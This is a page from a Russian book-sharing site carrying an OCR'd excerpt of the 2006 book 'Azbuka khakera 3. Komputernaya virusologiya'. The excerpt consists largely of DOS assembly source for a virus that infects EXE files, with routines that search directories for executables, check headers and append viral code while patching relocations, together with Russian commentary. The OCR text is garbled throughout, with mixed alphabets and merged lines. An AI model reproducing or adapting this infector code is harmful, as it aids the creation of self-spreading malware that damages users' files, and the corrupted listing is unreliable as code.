Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 48 49 50 51 52 53 < 54 > 55 56 57 58 59 60 .. 123 >> Следующая

нужного файла, выход call INFECT {переместить код вируса в найденный файл
FINISH:
push es
pop ds {восстановить ds в PSP mov dx,80H
mov ah, 1 АН {восстановить DTA в PSR80H для жертвы int 21H
pop ax {восстановить значение запуска ах cli
mov ss.WORD PlR cs: [HOSTS] {установить стек жертвы mov sp,WORD PTR
cs:[HOSTS+2]
Sti
jmp DWORD PTR cs:[HOSTC] {начать выполнение жертвы
Эта функция осматривает текущую директорию на наличие ЕХЕ-файла, который
прошел тест FILE_OK. Эта подпрограмма возвращает ЕХЕ-имя в DTA - с
открытием файла и сбросом флага с, если она прошла успешно. В ином случае
она возвращает установленный флаг с. Осмотрев всю директорию, она
завершает действие.
206
ГЛАВА 5. Инфекция ЕХЕ-файлов
FINDEXE:
mov dx,OFFSET EXEFILE mov cx,3FH ;ищем первый файл из *.ЕХЕ mov ah,4EH
int 21Н NEXTE:
jc FEX ; DOS возвращает OK? Если нет,
; выход с установкой с
call FILE OK ;да - файл годится для использования?
jne FEX ;да - файл найден - выход с сбросом с
mov ah,4FH
int 21Н ;ищем следующий файл
jmp SHORT NEXTE;проводим тест на пригодность FEX: ret ; возврат с
установкой с
Функция определяет, годится ли ЕХЕ-файл, найденный подпрограммой поиска.
Если да - возврат со сброшенным с, в ином случае - с установкой с.
Что делает ЕХЕ-файл пригодным?
а) Поле сигнатуры в ЕХЕ-заголовке должно иметь 'MZ'. (Это первые два
байта в файле.)
б) Поле числа оверлеев в ЕХЕ-заголовке должно иметь ноль.
в) Это должен быть файл, написанный под DOS, а не под Windows или OS/2.
г) В таблице перемещений должно быть место в NUMRELS для нескольких
дополнительных перемещений без увеличения самой таблицы.
д) Первоначальный ip, сохраненный в ЕХЕ-заголовке, должен быть иным, чем
вирусный первоначальный ip.
Если они одинаковы, то вирус, скорее всего, уже находится в этом файле, и
мы пропускаем его.
207
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
FILEOK:
mov dx,OFFSET DTA+1EH
mov ax,3D02H '.открываем файл с доступом к чтению/записи int 21Н
jc OKEND1 ;ошибка при открытой-установка с, выход без ;закрытоя
mov bx.ax ;помещаем индекс в Ьх и оставляем его в покое mov сх, 1СН
;читаем 28 байт ЕХЕ-заголовка
mov dx,OFFSET EXE_HDR ;в этом буфере
mov ah,3FH ;для проверки и модификации
int 21Н
jc OK_END ; ошибка при чтении файла, выход
cmp WORD PTR [EXE_HDR],'ZM';проверка ЕХЕ-сигнатуры MZ
jnz OK_END ;закрыть и выйти, если нет
cmp WORD PTR [EXE_HDR+26],0;проверка числа оверлеев
jnz OK_END ;не 0 - выход с установкой с
cmp WORD PTR [EXE_HDR+24],40H ;офсет таблицы ДОН
или больше? jne OK.END ;да, не DOS EXE, пропускаем
call REL_ROOM ;в таблице хватает места?
jc OK_END ;нет, выходим
cmp WORD PTR IBCE_HDR+14HJ,OFFSET VIRUS ;ip жертвьИр вируса? clc
jne OK.END1 .если все удалось, оставляем файл открытым OK_END:
mov ah,3EH ;в ином случае закрываем файл int 21Н
stc устанавливаем флаг переноса и указывает, что файл не OK OK_END1:
ret ;возврат с установленным флагом с
208
ГЛАВА 5. Инфекция ЕХЕ-файлов
Эта функция определяет, имеются ли NUMRELS-щели в таблице перемещений для
файла. Если да, то она возвращается со сброшенным флагом переноса. В ином
случае - возвращается с установленным флагом переноса. Расчет
производится сравнением: [(размер заголовка * 4) + число перемещений] * 4
- начало таблицы перемещений >- чем 4 * NUMRELS. Если да, то места
достаточно.
REL_ROOM:
mov ах,WORD PTR [EXE HDR+8];размер заголовка в параграфах add ах,ах add
ах,ах
sub ах,WORD PTR [EXE_HDR+6] ;число перемещений add ах,ах add ах,ах
sub ах,WORD PTR [EXE_HDR+24]; начало таблицы перемещений cmp ax,4*NUMRELS
;места для новых перемещений хватает? ret ; выход с установкой флага
переноса
Эта подпрограмма'перемещает вирус (данную программу) в конец ЕХЕ-файла.
Она просто копирует все, что имеется здесь, а затем подстраивает
заголовок ЕХЕ-файла и два перемещения в программе, чтобы они работали
правильно в новом окружении. Это также гарантирует, что вирус начнется на
границе параграфов и добавит столько байтов, сколько ему необходимо.
INFECT:
mov cx.WORD PTR [DTA+1CH] ;подстраиваем длину файла к mov dx.WORD PTR
[DTA+1AH] ;границе параграфов or dl.OFH add dx, 1 adc cx,0
90Q
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov WORD PTR [DTA+1CH],cx mov WORD PTR [DTA+1AH],dx mcv ax,4200H
устанавливаем указатель файла относительно начала int 21Н ; переходим к
концу файла + граница параграфов mov сх,OFFSET FINAL последний байт
кода
xor dx.dx ;первый байт кода. ds:dx
mov ah,40H ;записываем вирус в файл
int 21Н
mov dx.WORD PTR [DTA+1AH] .находим перемещения в коде
mov сх,WORD PTR [DTA+1CH] первоначальный конец файла
add dx,OFFSET HOSTS ; + офсет HOSTS
adc cx.O ;cx:dx = этому числу
mov ax,4200H,-устанавливаем указатель файла на 1-е перемещение
int 21Н
mov dx,OFFSET EXE_HDR+14 ;получаем правильные
;ss:sp и cs:ip жертвы
mov сх.Ю
mov ah,40H .записываем это в HOSTS/HOSTC int 21Н
хог сх,сх ;подстраиваем значения ЕХЕ-заголовка xor dx.dx
mov ах,4200Н устанавливаем указатель файла на начало файла int 21Н
mov ах,WORD FTR [DTA+1 АН] ;расчет первоначального cs вируса mov dx.WORD
Предыдущая << 1 .. 48 49 50 51 52 53 < 54 > 55 56 57 58 59 60 .. 123 >> Следующая